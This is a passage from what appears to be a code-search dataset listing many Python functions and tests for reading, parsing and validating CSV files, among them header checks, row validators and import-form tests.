return False","def validate(self, row):\n raise NotImplementedError","def validate_data(self, data):\n # TODO use schema\n assert \"file_contents\" in data, data\n assert \"type\" in data, data","def test_csv(self, input_file_path: str, answer_file_path: List[Dict]):\n with open(attach_path(answer_file_path), 'r') as answer_file:\n csv_file = open(attach_path(input_file_path))\n assert str(read_csv(csv_file)) == answer_file.read().strip()","def test_parser():\n data = parse_csv(TEST_DATA)\n assert data['2020-01-03'] == ['recycle']\n assert data['2020-01-08'] == ['bio', 'trash']\n assert data['2021-01-09'] == ['christmas']","def test_delimiter_empty(self):\n with self.assertRaisesRegexp(Exception, \"delimiter\"):\n self.context.frame.import_csv(self.dataset,\n self.schema, delimiter=\"\")","def check_csv_headers(csvfile, headers):\n\n with open(csvfile, 'rb') as f:\n csv_header = f.readline()\n\n # Check the lower ones\n if headers[1][0] not in csv_header.lower():\n return False\n\n return True","def isRecordNameValid(record):\n # Split the string with the record separator ':'\n splitted = record.split(':')\n # There must be 5 values - year:month:day:hour:minute\n if len(splitted) != 5:\n # Not valid - more or less than 5 values\n return False\n # There are 5 values - check each one if is a number\n for x in splitted:\n # If one of the values is not a number - record is not valid\n if not isNumber(x):\n return False\n # The record is valid\n return True","def test_row_parsing(self, tmpdir):\n json_file = str(tmpdir.join(\"f.json\"))\n with open(json_file, \"w\") as f:\n json.dump({\"ds\": [{\"file\": \"data.nc\", \"size\": 0, \"mtime\": 0, \"sha256\": 0}]}, f)\n\n create = CsvRowDataset.from_strings\n\n # Check extraneous whitespace is ignored and Yes/No to boolean\n # conversion\n got1 = create([\"ds\", \"100\", \" url\", \"title, here\", \"no\", \"Yes\", json_file])\n expected1 = CsvRowDataset(\"ds\", 100, \"url\", \"title, here\", False, True, json_file)\n assert got1 == expected1\n\n got2 = create([\"ds\", \"100\", \" url\", \"title, here\", \"No\", \"yes\", json_file])\n expected2 = CsvRowDataset(\"ds\", 100, \"url\", \"title, here\", False, True, json_file)\n assert got2 == expected2\n\n # Check invalid int and bool values\n assert pytest.raises(ValueError, create, [\"ds\", \"blah\", \"url\", \"title\", \"Yes\", json_file])\n assert pytest.raises(ValueError, create, [\"ds\", \"200\", \"url\", \"title\", \"blah\", json_file])","def test_csvfile_single_row_of_data(fs: FakeFilesystem) -> None:\n contents = \"\"\"\"a\",\"b\"\n1,2\"\"\"\n fs.create_file(\"test.csv\", contents=contents)\n\n adapter = CSVFile(\"test.csv\")\n\n assert adapter.get_columns() == {\n \"a\": Float(\n filters=[Range, Equal, NotEqual, IsNull, IsNotNull],\n order=Order.NONE,\n exact=True,\n ),\n \"b\": Float(\n filters=[Range, Equal, NotEqual, IsNull, IsNotNull],\n order=Order.NONE,\n exact=True,\n ),\n }\n assert list(adapter.get_data({}, [])) == [{\"a\": 1.0, \"b\": 2.0, \"rowid\": 0}]","def test_read_line(self):\n\n expected_data = ['\\\"lu, jr\\\"','ming-yuan','\\\"DRUG,1\\\"',135.999,True,3]\n input_string = '001,\\\"LU, JR\\\",MING-YUAN,\\\"DRUG,1\\\",135.999\\n'\n data = read_line(input_string)\n self.assertEqual(expected_data[0],data[0])\n self.assertEqual(expected_data[1],data[1])\n self.assertEqual(expected_data[2],data[2])\n self.assertAlmostEqual(expected_data[3],data[3])\n self.assertEqual(expected_data[4],data[4])\n self.assertAlmostEqual(expected_data[5],data[5])\n\n #Check for odd numers of quotation marks\n input_string = '001,\\\"LU\\\",\\\"MING-YUAN,DRUG1,135\\n'\n data = read_line(input_string)\n self.assertFalse(data[4])\n\n #Check for missing fields\n input_string = '001,,MING-YUAN,DRUG1,135\\n'\n data = read_line(input_string)\n self.assertFalse(data[4])\n\n input_string = '001,LU,MING-YUAN,DRUG1,\\n'\n data = read_line(input_string)\n self.assertFalse(data[4])\n\n #Check for corrupted fields\n input_string = '001x,LU,MING-YUAN,DRUG1,135\\n'\n data = read_line(input_string)\n self.assertFalse(data[4])\n\n input_string = '001,LU,MING-YUAN,DRUG1,1ag5\\n'\n data = read_line(input_string)\n self.assertFalse(data[4])","def has_supported_header_hormat(cls, csv_reader):\n return csv_reader.fieldnames == cls.INGFormatHeader","def test_non_int_value_raises_an_exception():\n test_file = StringIO(\n u'fri,wed\\na,6'\n )\n\n csv_parser = CSVParser(test_file)\n\n with pytest.raises(ValueError):\n csv_parser.parse()","def _isvalid_file(filename):\r\n thisisavalidfile = True\r\n if (filename[0] == \".\") or (filename[0] == \"_\") or not ((filename.split(\".\")[-1] == \"txt\") or (filename.split(\".\")[-1] == \"csv\")):\r\n thisisavalidfile = False\r\n\r\n return thisisavalidfile","def test_csvfile_get_data_impossible_filter(fs: FakeFilesystem) -> None:\n fs.create_file(\"test.csv\", contents=CONTENTS)\n\n adapter = CSVFile(\"test.csv\")\n assert list(adapter.get_data({\"index\": Impossible()}, [])) == []","def _is_probably_new_datfile_format(raw_data):\n return \"<OOI-ts:\" in raw_data","def test_missing_columns(self):\n file = SimpleUploadedFile(\n \"test.csv\",\n b\"msisdn,messaging consent,edd year,edd month,baby dob year,\"\n b\"baby dob month,baby dob day\\n\",\n )\n form = MomConnectImportForm(\n data={\"source\": \"MomConnect Import\"}, files={\"file\": file}\n )\n self.assertTrue(form.is_valid())\n instance = form.save()\n self.assertEqual(instance.status, MomConnectImport.Status.ERROR)\n [error] = instance.errors.all()\n self.assertEqual(\n error.error, \"Fields edd_day facility_code id_type not found in header\"\n )","def loadCSV(input_file):","def test_without_schema(self):\n frame = self.context.frame.import_csv(self.dataset)\n expected_inferred_schema = [(\"C0\", int), (\"C1\", str), (\"C2\", int)]\n self.assertEqual(frame.schema, expected_inferred_schema)","def test_is_entry_formatted(self):\n\n valid_formats = test_case_data.get('valid_formats')\n for i, valid_entry in enumerate(test_case_data.get('valid_entries')):\n entry = [value.strip() for value in valid_entry.split(',')]\n format_fields = valid_formats[i].split(',')\n valid = self.parser._is_entry_formatted(entry, format_fields)\n self.assertTrue(valid, f'{entry} is not of a valid format')\n\n # fails with invalid entries\n for invalid_entry in test_case_data.get('invalid_entries'):\n entry = [value.strip() for value in invalid_entry.split(',')]\n for f in valid_formats:\n format_fields = f.split(',')\n entry_dict = self.parser._is_entry_formatted(entry, format_fields)\n self.assertFalse(entry_dict, f'{entry} is not of a valid format')","def _validate_latlon(self, col):\r\n # Assumes input in format ##d##.####' Dir or ##d##' Dir\r\n # latlon_pattern = \"[0-9]+[d][0-9]+[.][0-9]+\\' [nsewNSEW]\"\r\n latlon_pattern = \"[0-9]+[d][0-9]+[.]?[0-9]+\\' [nsewNSEW]\"\r\n error_rows = [] # initialize list of rows with errors\r\n # Loop through data and validate lat/long value\r\n for i, row in enumerate(self.rows):\r\n csv_row = i + 1\r\n coord = row[col]\r\n if not re.search(latlon_pattern, coord):\r\n error_rows.append(csv_row)\r\n #\r\n # \"\"\"\r\n # ALTERNATE UNUSED APPROACH, but kept as an example for reference\r\n # Pandas approach: Creates a True/False series showing records that match the pattern\r\n # The tilde (~) in front of series inverts the True/False values,\r\n # which is the same as records that DO NOT match the pattern\r\n # \"\"\"\r\n # validrows = self.dataframe[col].str.contains(latlong_pattern)\r\n # errors = self.dataframe[~validrows]\r\n\r\n return error_rows","def place_types_read_csv(self, csv_input):\n csv_data = pd.read_csv(csv_input, encoding='UTF-8', sep=',', na_values=[''])\n self.table = csv_data.fillna('').applymap(lambda x: x.strip() if type(x) == str else x)\n self.log.info('Data read from CSV %s' % csv_input)","def read_csv(self, csv_input):\n # https://stackoverflow.com/a/45063514\n dtypes = {\n 'lat': 'U',\n 'long': 'U'\n }\n csv_data = pd.read_csv(csv_input, encoding='UTF-8', sep=',', na_values=[''], dtype=dtypes)\n\n self.table = csv_data.fillna('').applymap(lambda x: x.strip() if type(x) == str else x)\n self.log.info('Data read from CSV %s' % csv_input)\n #print('Data read from CSV %s' % csv_input)","def test_with_header_no_schema(self):\n # inferedschema should use first line of the csv as col names\n frame = self.context.frame.import_csv(self.dataset, header=True)\n expected_schema = [(\"1\", int), (\"a\", str), (\"2\", int)]\n self.assertEqual(frame.schema, expected_schema)","def valid_ogfile(listname):\r\n global original_file, directory_og\r\n listname = listname.split(\".\")[0] #get rid of adapting or notadapting\r\n try:\r\n original_file = open(directory_og+listname+\".csv\", \"r\")\r\n return True\r\n except:\r\n return False","def test_not_enough_cols(parallel, read_csv):\n text = \"\"\"\nA,B,C\n1,2,3\n4,5\n6,7,8\n\"\"\"\n table = read_csv(text, parallel=parallel)\n assert table[\"B\"][1] is not ma.masked\n assert table[\"C\"][1] is ma.masked\n\n with pytest.raises(InconsistentTableError):\n table = FastBasic(delimiter=\",\").read(text)","def comma_detector(self) -> bool:\n curr_pos = self.fileobject.tell()\n line = self.nextline()\n comma = False\n # A bold presumption, perhaps\n if ',' in line:\n comma = True\n self.fileobject.seek(curr_pos)\n return comma","def test_misc_csv_read_inmemory():\n r = csv_reader([\"fieldname_a,fieldname_b\",\n \"mo,bo\",\n \"go,zo\",\n \"fo,po\"])\n fields = r.hdr()\n data = str(fields)\n while True:\n row = r.row()\n if not row: break\n data += '\\n' + str(row)\n assert(data==\"\"\"\n['fieldname_a', 'fieldname_b']\n['mo', 'bo']\n['go', 'zo']\n['fo', 'po']\n \"\"\".strip())","def _validate_date(self, col):\r\n error_rows = [] # initialize list of rows with errors\r\n # Loop through data and validate time values\r\n for i, row in enumerate(self.rows):\r\n csv_row = i + 1\r\n date_of_survey = row[col]\r\n try:\r\n [m, d, y] = date_of_survey.split('/')\r\n testdate = datetime.date(int(y), int(m), int(d))\r\n except:\r\n error_rows.append(csv_row)\r\n return error_rows","def _prepare_and_validate_data(self,data_list):\n pos=0\n list_pos=0\n format=\"\"\n length=0\n value=\"\"\n\n #check number of items in data_list is as expected\n if(self.data_lookup.count()['type']!=len(data_list)):\n raise NumItemsError(\"Wrong number of items for the data type\")\n\n #loop over data from data_types.csv and populate\n for index,row in self.data_lookup.iterrows():\n length=int(row['Bytes'])\n\n #obtain format type\n if (row['Format']=='byte'):\n format=int\n elif (row['Format']=='string'):\n format=str\n\n #obtain limits\n try:\n min=int(row['Min'],16)\n max=int(row['Max'],16)\n except:\n min='*'\n max='*'\n\n #check format type\n if (isinstance(data_list[list_pos],format)):\n #correct format type\n if format==str:\n value=data_list[list_pos].encode()\n elif format==int:\n value=data_list[list_pos].to_bytes(length,'little')\n\n #check limits if int type\n if min=='*' or max == '*':\n pass\n elif int(data_list[list_pos]) >= min and int(data_list[list_pos]) <= max:\n pass\n else:\n raise ValueError(\"value\",int(value),\"is out of range, min:\",min,\"max:\",max)\n else:\n raise TypeError(\"Unknown type, can currently only handle string or integer types\")\n #populate data\n for n in range(0,length):\n self.data[pos+n]=value[n]\n pos=pos+length\n list_pos=list_pos+1\n else:\n raise TypeError(\"expected\",format,\"got\",type(data_list[list_pos]),\"at position\",list_pos)\n return True","def validate_dataset(self):\n pass","def validate_file(self):\n filename = str(self.filename)\n self.is_error = False\n self.message = \"\"\n if not (filename.endswith('xls') or filename.endswith('xlsx') or filename.endswith('csv')):\n self.message += \"Please Import only '.xls' or '.xlsx' or '.csv' File.\"\n elif (filename.endswith('xls') or filename.endswith('xlsx')):\n column_list = ['id', 'quantity']\n\n wb = xlrd.open_workbook(\n file_contents=base64.decodestring(self.xls_file))\n sheet = wb.sheet_by_index(0)\n row = sheet.row_values(0)\n invalid_cols = []\n import pdb;pdb.set_trace()\n for key in row:\n key = key.encode('ascii', 'ignore')\n if key.lower() not in column_list:\n invalid_cols.append(key)\n if invalid_cols:\n self.message = \"Invalid Column Name %s\", ', '.join(\n invalid_cols)\n if not self.message:\n for i in range(1, sheet.nrows):\n row = sheet.row_values(i)\n firstrow = sheet.row_values(0)\n firstrow = [str(item).lower() for item in firstrow]\n product_obj = self.env['product.product'].search(\n [('id', '=', row[firstrow.index('id')])])\n if not row[firstrow.index('quantity')]:\n self.message += \"Enter Quantity In Your Excel File\"\n if not product_obj:\n self.message += \"Enter Valid Product Id In Your Excel File\"\n else:\n column_list = ['id', 'quantity']\n xls_file = base64.b64decode(self.xls_file)\n file_input = cStringIO.StringIO(xls_file)\n file_input.seek(0)\n rows = []\n delimeter = ','\n reader = csv.reader(file_input, delimiter=delimeter,\n lineterminator='\\r\\n')\n for row in reader:\n rows.append(row)\n firstrow = [str(item).lower() for item in rows[0]]\n match = [column for column in firstrow if column not in column_list]\n if match:\n self.message += \"Enter Valid Column Name\"\n if not self.message:\n for row in rows[1:]:\n rows[0] = [str(item).lower() for item in rows[0]]\n product_obj = self.env['product.product'].search(\n [('id', '=', row[rows[0].index('id')])])\n if not row[rows[0].index('quantity')]:\n self.message += \"Enter Quantity In Your Excel File\"\n if not product_obj:\n self.message += \"Enter Valid Product Id In Your Excel File\"\n\n if self.message:\n self.is_error = True\n if not self.is_error:\n self.is_validate = True\n return {\n 'res_id': self.id,\n 'view_id': self.env.ref('import_stock_inventory_drc.import_stock_inventory_view_wizard_form').ids,\n 'view_type': 'form',\n 'view_mode': 'form',\n 'res_model': 'stock.inventory.wizard',\n 'type': 'ir.actions.act_window',\n 'target': 'new'\n }","def test_invalid_file_type(self):\n file = SimpleUploadedFile(\"test.csv\", b\"\\xe8\")\n form = MomConnectImportForm(\n data={\"source\": \"MomConnect Import\"}, files={\"file\": file}\n )\n self.assertTrue(form.is_valid())\n instance = form.save()\n self.assertEqual(instance.status, MomConnectImport.Status.ERROR)\n [error] = instance.errors.all()\n self.assertEqual(error.error, \"File is not a CSV\")","def check_data(self):\n\n for i in range(len(self.full_ed_lines)):\n if self.full_ed_lines[i].text() != \"\":\n if self.full_ed_lines[i].hasAcceptableInput():\n continue\n else:\n if i == 1:\n self.msg2Statusbar.emit('Неправильный формат версии! Исправьте и повторите действие!')\n elif i == 5:\n self.msg2Statusbar.emit('Неправильная почта! Исправьте и повторите действие!')\n return False\n else:\n self.msg2Statusbar.emit('Не все поля заполнены! Исправьте и повторите действие!')\n return False\n return True","def _validate_header(self, header_row):\n\n self.logger.info(\"Validating header row.\")\n \n # assume value.\n is_valid = True\n\n # check if @header_row is perfect.\n required_keys = tuple(self.required_headers.keys())\n if sorted(header_row) == sorted(required_keys):\n self.logger.info(\"Header is valid.\")\n return is_valid\n else:\n self.logger.error(\"Header is invalid.\")\n is_valid = False\n\n # report on any missing header fields.\n missing_headers = [header for header in self.required_headers if header not in\n header_row]\n if len(missing_headers) != 0:\n self.logger.warning(\"Missing required fields: {}\".format(missing_headers))\n \n # report on any duplicate fields.\n duplicate_headers = [header for header in header_row if header_row.count(header) != 1]\n if len(duplicate_headers) != 0:\n self.logger.warning(\"Found duplicate fields: {}\".format(set(duplicate_headers)))\n\n # report on any extra fields.\n extra_headers = [header for header in header_row if header not in \n self.required_headers]\n if len(extra_headers) != 0:\n self.logger.warning(\"Found extra fields: {}\".format(extra_headers))\n \n return is_valid","def has_invalid_lines(self):\n # Convience variables\n sample_id = self._sample_sheet.sample_id_column\n sample_name = self._sample_sheet.sample_name_column\n sample_project = self._sample_sheet.sample_project_column\n # Look at first line to see which items have been provided\n line = self._sample_sheet.data[0]\n has_sample_id = line[sample_id] != ''\n has_sample_name = (sample_name is not None) and \\\n (line[sample_name] != '')\n has_project = line[sample_project] != ''\n # Look for invalid data lines\n invalid_lines = []\n for line in self._sample_sheet.data:\n if self._sample_sheet.has_lanes and line['Lane'] == '':\n invalid_lines.append(line)\n elif has_sample_id and line[sample_id] == '':\n invalid_lines.append(line)\n elif has_sample_name and line[sample_name] == '':\n invalid_lines.append(line)\n elif has_project and line[sample_project] == '':\n invalid_lines.append(line)\n return invalid_lines","def _verify_csv_file_report_notIn(self, report_store, expected_data):\n report_csv_filename = report_store.links_for(self.course.id)[0][0]\n report_path = report_store.path_to(self.course.id, report_csv_filename)\n with report_store.storage.open(report_path) as csv_file:\n csv_file_data = csv_file.read()\n # Removing unicode signature (BOM) from the beginning\n csv_file_data = csv_file_data.decode(\"utf-8-sig\")\n for data in expected_data:\n self.assertNotIn(data, csv_file_data)","def IsValid(self):\n return (TickerFull.DelimiterSplit not in self.Text) and (TickerDataType.DelimiterData in self.Text)","def isValid(self):\n return self.file_name != \"\" and self.line_number != 0","def test_importing_invalid_data_for_collections(self):\n self.prepare()\n\n def _check(file_name, table_name, expected_results):\n # import the CSV file with COPY FROM\n logger.debug('Importing from csv file: {}'.format(file_name))\n out, err, _ = self.run_cqlsh(cmds=\"COPY ks.{} FROM '{}'\".format(table_name, file_name))\n logger.debug(out)\n\n assert 'ParseError - Failed to parse' in err\n\n results = rows_to_list(self.session.execute(\"SELECT * FROM {}\".format(table_name)))\n logger.debug(results)\n assert expected_results == results\n\n def _test_invalid_data_for_sets():\n logger.debug('Testing invalid data for sets')\n self.session.execute(\"\"\"\n CREATE TABLE testinvaliddataforsets (\n key text,\n value frozen<set<text>>,\n PRIMARY KEY (key)\n )\"\"\")\n\n tempfile = self.get_temp_file()\n with open(tempfile.name, 'w') as f:\n f.write('key1,\"{\\'test1\\', \\'test2\\'}\"\\n')\n f.write('key2,\"{\\'test1\\', \\'test2\\']\"\\n')\n f.write('key3,not_a_set\\n')\n f.write('key4,\"not_a_set\"\\n')\n f.write(\"key5,'not_a_set'\\n\")\n\n expected_results = [['key1', SortedSet(['test1', 'test2'])]]\n _check(tempfile.name, 'testinvaliddataforsets', expected_results)\n\n def _test_invalid_data_for_lists():\n logger.debug('Testing invalid data for lists')\n self.session.execute(\"\"\"\n CREATE TABLE testinvaliddataforlists (\n key text,\n value list<text>,\n PRIMARY KEY (key)\n )\"\"\")\n\n tempfile = self.get_temp_file()\n with open(tempfile.name, 'w') as f:\n f.write('key1,\"[\\'test1\\', \\'test2\\']\"\\n')\n f.write('key2,\"[\\'test1\\', \\'test2\\'}\"\\n')\n f.write('key3,not_a_list\\n')\n f.write('key4,\"not_a_list\"\\n')\n f.write(\"key5,'not_a_list'\\n\")\n\n expected_results = [['key1', list(['test1', 'test2'])]]\n _check(tempfile.name, 'testinvaliddataforlists', expected_results)\n\n def _test_invalid_data_for_maps():\n logger.debug('Testing invalid data for maps')\n self.session.execute(\"\"\"\n CREATE TABLE testinvaliddataformaps (\n key text,\n value map<text, text>,\n PRIMARY KEY (key)\n )\"\"\")\n\n tempfile = self.get_temp_file()\n with open(tempfile.name, 'w') as f:\n f.write('key1,\"{\\'key1\\': \\'test1\\', \\'key2\\': \\'test2\\'}\"\\n')\n f.write('key2,\"{\\'key1\\': \\'test1\\', \\'key2\\': \\'test2\\']\"\\n')\n f.write('key3,not_a_map\\n')\n f.write('key4,\"not_a_map\"\\n')\n f.write(\"key5,'not_a_map'\\n\")\n\n expected_results = [['key1', dict([('key1', 'test1'), ('key2', 'test2')])]]\n _check(tempfile.name, 'testinvaliddataformaps', expected_results)\n\n _test_invalid_data_for_sets()\n _test_invalid_data_for_lists()\n _test_invalid_data_for_maps()","def test_delimiter_none(self):\n with self.assertRaisesRegexp(Exception, \"delimiter\"):\n self.context.frame.import_csv(self.dataset,\n self.schema, delimiter=None)","def parse_file(args):\n\n data_types = []\n headers = []\n\n with open(args.input, \"r\") as csvfile:\n reader = csv.reader(csvfile)\n have_columns = False\n\n for line in reader:\n if have_columns:\n index = 0\n for col in line:\n if col != \"\": \n if data_types[index] != TYPE_STRING and data_types[index] != TYPE_FLOAT:\n data_types[index] = get_data_type(col)\n # else:\n # data_types[index] = TYPE_STRING\n index += 1\n\n else:\n headers = line \n for col in line:\n data_types.append(\"\")\n have_columns = True \n\n return headers, data_types","def is_file_parsable(cls, filepath, beginning=None):\n\n # TODO can we redirect the loc calls from here so they aren't shown\n # since we're just testing if parsable and an error message \n # would give the wrong impression\n # or restructure the way our logger works, maybe accept a logger in\n # the subsequent calls\n\n super().is_file_parsable(filepath)\n\n # MAGIC USAA doesn't use a header and the first line will do\n lines = [l for l in cls.yield_header(filepath, rows=1)]\n try:\n first_line = lines[0]\n except IndexError:\n logging.error(\"file line count is 0: %s\" % filepath)\n return False\n is_parsable = cls._run_parse_checks(first_line, filepath)\n\n # NOTE b/c USAA does not use a header, check a few properties of the data\n return is_parsable","def check_errors(csv_file):\n\n logger.info(\"Checking %s.\", csv_file)\n\n errors_found = False\n errors_file = f\"{os.path.splitext(csv_file)[0]}_errors.csv\"\n deduplicated_file = f\"{os.path.splitext(csv_file)[0]}_deduplicated.csv\"\n\n with open(csv_file, 'r', encoding=\"UTF-8\") as input_file,\\\n open(deduplicated_file, 'w', encoding=\"UTF-8\") as dedup,\\\n open(errors_file, 'w', encoding=\"UTF-8\") as errors:\n\n reader = csv.reader(input_file, delimiter=',')\n dedup_writer = csv.writer(dedup)\n error_writer = csv.writer(errors)\n line = 1\n entries = set()\n for row in reader:\n\n # Skip empty lines.\n if not ''.join(row).strip():\n continue\n\n # Record any incorrect classifications.\n if not row[1].lower() == \"normal\" and not row[1].lower() == \"anomaly\":\n error_writer.writerow(\n [line, row[0], row[1], \"INVALID_CLASSIFICATION\"])\n errors_found = True\n\n # Write first image entry to dedup file and record duplicates.\n key = row[0]\n if key not in entries:\n dedup_writer.writerow(row)\n entries.add(key)\n else:\n error_writer.writerow([line, row[0], row[1], \"DUPLICATE\"])\n errors_found = True\n line += 1\n\n if errors_found:\n logger.info(\"Errors found check %s.\", errors_file)\n else:\n os.remove(errors_file)\n os.remove(deduplicated_file)\n\n return errors_found","def test_init_with_format_str_and_header_True_raises_error(self):\n with pytest.raises(ValueError):\n _ = CSVFormatter(fmt_str=\"\", header=True)","def test_read_in_file(self):\r\n filename = \"CrimeDataSmall.csv\"\r\n\r\n lst = cds.read_in_file(filename)\r\n\r\n self.assertIsInstance(lst, list, \"Returned datatype should be a list\")\r\n self.assertEqual(len(lst), 4, \"There should be 4 rows returned from CrimeDataSmall 1 header and 3 data rows\")\r\n self.assertEqual(len(lst[0]), 23, \"Each row should have 23 columns\")\r\n self.assertEqual(lst[0][1], \"Reported_Date\", \"Column 1 was incorrect header\")\r\n self.assertEqual(lst[0][7], \"Offense\", \"Column 7 was incorrect header\")\r\n self.assertEqual(lst[0][13], \"Zip Code\", \"Column 13 header was incorrect\")\r\n self.assertEqual(lst[1][1], \"03/19/2019\", \"Column 1 was incorrect in first data row\")\r\n self.assertEqual(lst[1][7], \"Vehicular – Non-Injury\", \"Column 7 was incorrect in first data row\")\r\n self.assertEqual(lst[1][13], \"64161\", \"Column 13 in first data row was incorrect\")\r\n self.assertEqual(lst[3][1], \"03/27/2019\", \"Column 1 was incorrect in 3rd data row\")\r\n self.assertEqual(lst[3][7], \"Embezzlement\", \"Column 7 was incorrect 3rd data row\")\r\n self.assertEqual(lst[3][13], \"64112\", \"Column 13 3rd data row was incorrect\")\r\n self.assertEqual(lst[3][11], \"4600, S WORNALL RD\", \"Column 11 3rd data row was incorrect. Use csv module to read \")","def check_data(self):\n super().check_data()\n\n for session_index, session_data in enumerate(self._data_to_analyse):\n if session_data.DATA_FORMAT != \"PyMEICA\":\n self.invalid_data_help = f\"Non PyMEICA format compatibility not yet implemented: \" \\\n f\"{session_data.DATA_FORMAT}\"\n return False\n\n return True","def isDataLine(line):\n if len(line) > 1:\n return line[0] != \"#\"\n return False","def isDataLine(line):\n if len(line) > 1:\n return line[0] != \"#\"\n return False","def make_generators_from_csv(csv_file):\n with open(csv_file, mode='r', encoding='utf-8',\n errors='ignore') as source_data:\n source_data.readline() # skip header\n\n for line in source_data.readlines():\n try:\n line = line.rstrip().split(',')\n if len(line) == 8:\n yield line\n else:\n logger.error(\n f\"Import failure on line split.\"\n \" Expected 8 columns, but got {len(line)}. {line}\"\n )\n except IndexError as e:\n logger.error(f\"Could not import customer data for {line}: {e}\")","def test_csv_reader_header_fields(process_data):\n data = process_data(file_name_or_type='clean_map.csv')\n header_fields = list(data[0].keys())\n assert header_fields == [\n 'Country',\n 'City',\n 'State_Or_Province',\n 'Lat',\n 'Long',\n 'Altitude'\n ]"],"string":"[\n \"def check_valid_csv_data(self, row):\\n obj = re.match(re.compile('^[0-9]{4}\\\\,[A-Z]{1}[a-z]{2}\\\\,.'),\\n ','.join(row))\\n if not obj:\\n raise Exception(\\\"Invalid Data String must be like `1990` `Jan` Check Sample file\\\")\",\n \"def validate_csv(filename: str) -> bool:\\n # From: https://stackoverflow.com/questions/2984888/check-if-file-has-a-csv-format-with-python\\n try:\\n with open(filename, newline='') as csvfile:\\n start = csvfile.read(4096)\\n\\n # isprintable does not allow newlines, printable does not allow umlauts...\\n if not all([c in string.printable or c.isprintable() for c in start]):\\n return False\\n dialect = csv.Sniffer().sniff(start)\\n return True\\n except csv.Error:\\n # Could not get a csv dialect -> probably not a csv.\\n return False\\n except UnicodeError:\\n return False\",\n \"def validate_csv_seq(sequence):\\n if sequence.find(',') != -1 or sequence.find(';') != -1:\\n return True\\n else:\\n return False\",\n \"def validate_csv(filename, header, cols, rows):\\n\\n # open file\\n data = pd.read_csv(filename, delimiter='|')\\n\\n # validate header\\n assert header == '|'.join(list(data.columns.values))\\n\\n # validate column count\\n assert data.shape[1] == cols\\n\\n # validate row count\\n assert data.shape[0] == rows\\n\\n # return (header_result == column_result == row_result) is True\",\n \"def test_schema_invalid_format(self):\\n bad_schema = [int, int, float, float, str]\\n with self.assertRaisesRegexp(Exception, \\\"more than one char\\\"):\\n self.context.frame.import_csv(self.dataset, bad_schema)\",\n \"def test_valid_csv(self):\\n url=\\\"http://archive.ics.uci.edu/ml/machine-learning-databases/wine/wine.data\\\"\\n readerobject=requester.url_to_csv(url, fname='wine2')\\n self.assertTrue(str(type(readerobject)),\\\"_csv.reader\\\")\",\n \"def check_valid_csv_header(self, row):\\n obj = re.match(re.compile('^Year\\\\,Month\\\\,.'),\\n ','.join(row))\\n if not obj:\\n raise Exception(\\\"Invalid Headers must be `Year` `Month` Check Sample file\\\")\",\n \"def csv_parser_test():\\n data = csv_parser(myspreadsheet)\\n print 'Your data object:'\\n pp = pprint.PrettyPrinter(indent=4)\\n pp.pprint(data) \\n # Did your parser work?\\n for row_num, row in enumerate(data):\\n try:\\n assert len(row) == 3\\n except AssertionError:\\n print \\\"Row %s seems to be misparsed; its length is %s\\\" % (row_num, len(row))\\n # Check on one of the values:\\n try:\\n assert data[4][2] == 'Linguist'\\n except AssertionError:\\n print \\\"Error: data[4][2] should equal 'Linguist'; actual value is %s\\\" % data[4][2]\\n # Did you remember your int conversions?\\n try:\\n assert isinstance(data[0][0], int)\\n except AssertionError:\\n print \\\"Error: data[0][0] should be an int\\\"\\n # Did you remember your float conversions?\\n try:\\n assert isinstance(data[6][1], float)\\n except AssertionError:\\n print \\\"Error: data[6][1] should be a float\\\"\",\n \"def csv_parser_test():\\r\\n data = csv_parser(myspreadsheet)\\r\\n print('Your data object:')\\r\\n pp = pprint.PrettyPrinter(indent=4)\\r\\n pp.pprint(data) \\r\\n # Did your parser work?\\r\\n for row_num, row in enumerate(data):\\r\\n try:\\r\\n assert len(row) == 3\\r\\n except AssertionError:\\r\\n print ((\\\"Row %s seems to be misparsed; its length is %s\\\") % (row_num, len(row)))\\r\\n # Check on one of the values:\\r\\n try:\\r\\n assert data[4][2] == 'Linguist'\\r\\n except AssertionError:\\r\\n print ((\\\"Error: data[4][2] should equal 'Linguist'; actual value is %s\\\") % data[4][2])\\r\\n # Did you remember your int conversions?\\r\\n try:\\r\\n assert isinstance(data[0][0], int)\\r\\n except AssertionError:\\r\\n print (\\\"Error: data[0][0] should be an int\\\")\\r\\n # Did you remember your float conversions?\\r\\n try:\\r\\n assert isinstance(data[6][1], float)\\r\\n except AssertionError:\\r\\n print (\\\"Error: data[6][1] should be a float\\\")\",\n \"def test_schema_invalid_type(self):\\n bad_schema = -77\\n with self.assertRaisesRegexp(Exception, \\\"more than one char\\\"):\\n self.context.frame.import_csv(self.dataset, bad_schema)\",\n \"def isFormatOk(self, row):\\n try:\\n date = datetime.strptime(row[0], \\\"%m/%d/%Y\\\").date()\\n state = fix_text(row[1])\\n impressions = int(row[2])\\n if impressions < 0:\\n raise ValueError\\n CTR = float(row[3].replace(\\\"%\\\",\\\"\\\"))\\n if CTR < 0 or CTR > 1:\\n raise ValueError\\n except ValueError as e:\\n print(f\\\"Wrong format of provided data {row}\\\", file=sys.stderr)\\n return False\\n return Record(date=date, state=state, impressions=impressions, CTR=CTR)\",\n \"def test_validate_file_extension_csv(self):\\n data_contacts = open(self.test_dir + 'contacts.csv',\\n encoding='utf-8')\\n data_contacts_false = open(self.test_dir + 'mannheim_short.json',\\n encoding='utf-8')\\n a = validate_file_extension_csv(data_contacts)\\n self.assertEqual(a, None)\\n with self.assertRaises(ValidationError) as context:\\n validate_file_extension_csv(data_contacts_false)\\n data_contacts.close()\\n data_contacts_false.close()\\n self.assertTrue(\\\"Keine gültige CSV-Datei\\\" or \\\"No valid CSV file\\\" in\\n str(context.exception))\",\n \"def __is_csv(self):\\n try:\\n # just open to check if there is the file\\n with open(self.__csv_file_name, 'r') as file:\\n file.close()\\n return True\\n # if it do not exists the exception will returns false\\n except IOError:\\n return False\",\n \"def validate_bed_format(row):\\n assert len(row) >= 3, 'Bed Files must have at least 3 tab separated fields.'\\n\\n return True\",\n \"def test_validate_csv():\\n duplicate_keys_file_path = os.path.join(\\n TEST_DATA_DIR, \\\"clubs_invalid_duplicate_keys.csv\\\"\\n )\\n\\n invalid_headers_file_path = os.path.join(\\n TEST_DATA_DIR, \\\"membership_invalid_syntax.csv\\\"\\n )\\n\\n # Test duplicate keys\\n with open(duplicate_keys_file_path) as test_file:\\n test_file = test_file.read()\\n\\n rows = list(csv.DictReader(StringIO(test_file)))\\n\\n with pytest.raises(ValidationFailed) as v_error:\\n validate_csv(rows)\\n\\n validation_resp = v_error.value.errors[0]\\n assert \\\"error\\\" in validation_resp\\n duplicate_keys = validation_resp[\\\"detail\\\"]\\n assert \\\"5\\\" in duplicate_keys\\n assert \\\"2\\\" in 